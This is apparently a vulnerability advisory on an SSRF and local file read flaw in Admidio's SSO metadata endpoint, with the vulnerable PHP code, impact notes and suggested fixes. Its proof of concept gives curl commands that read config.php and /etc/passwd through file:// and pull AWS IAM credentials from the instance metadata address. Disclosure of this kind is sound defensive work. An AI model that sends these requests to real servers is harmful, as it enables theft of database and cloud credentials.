Admidio Vulnerable to SSRF and Local File Read via Unrestricted URL Fetch in SSO Metadata Endpoint

Summary

The SSO metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.

Details

Vulnerable Code

File: D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php, lines 9-34

$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
if (!$url) {
    http_response_code(400);
    echo "Invalid URL";
    exit;
}

// Fetch metadata from external server
$metadata = file_get_contents($url);
if ($metadata === false) {
    http_response_code(500);
    echo "Failed to fetch metadata";
    exit;
}

echo $metadata;

FILTER_VALIDATE_URL Does Not Block Dangerous Schemes

PHP's FILTER_VALIDATE_URL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by file_get_contents():

Confirmed by testing PHP's filter_var() and file_get_contents() with all of the above:

php -r "var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));"
// string(18) "file:///etc/passwd"  <-- passes validation

php -r "echo file_get_contents('file:///etc/passwd');"
// root:x:0:0:root:/root:/bin/bash  <-- file contents returned

file:// Does Not Require allow_url_fopen

PHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allow_url_fopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.

Response Is Returned Verbatim

The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.

PoC

Prerequisites: Administrator account session cookie and CSRF token.

Step 1: Read the Admidio database configuration file

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=file:///var/www/html/adm_my_files/config.php"

Expected response: Full contents of config.php including the database host, username, and password in plaintext.

Step 2: Read system password file

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=file:///etc/passwd"

Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Expected response: IAM role name followed by temporary AWS access key and secret.

Step 4: SSRF to an internal service on localhost

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=http://127.0.0.1:6379/"

(Probes a Redis instance on localhost.)

Impact

• Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's config.php (database credentials), /etc/passwd, private keys stored in the web root, and .env files.
• Database Credential Theft: Reading config.php exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls.
• Cloud Metadata Exposure: On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.
• Internal Network Reconnaissance: The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.
• Scope Change: Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.

Recommended Fix

Fix 1: Restrict to HTTPS scheme and block internal IP ranges

$rawUrl = $_GET['url'] ?? '';

// Only allow https:// scheme
if (\!preg_match('#^https://#i', $rawUrl)) {
    http_response_code(400);
    echo "Only HTTPS URLs are permitted";
    exit;
}

$url = filter_var($rawUrl, FILTER_VALIDATE_URL);
if (\!$url) {
    http_response_code(400);
    echo "Invalid URL";
    exit;
}

// Resolve hostname and block internal/private IP ranges
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
    http_response_code(400);
    echo "URL resolves to a private or reserved IP address";
    exit;
}

$metadata = file_get_contents($url);

Fix 2: Use cURL with explicit scheme restriction

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$metadata = curl_exec($ch);
curl_close($ch);

Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.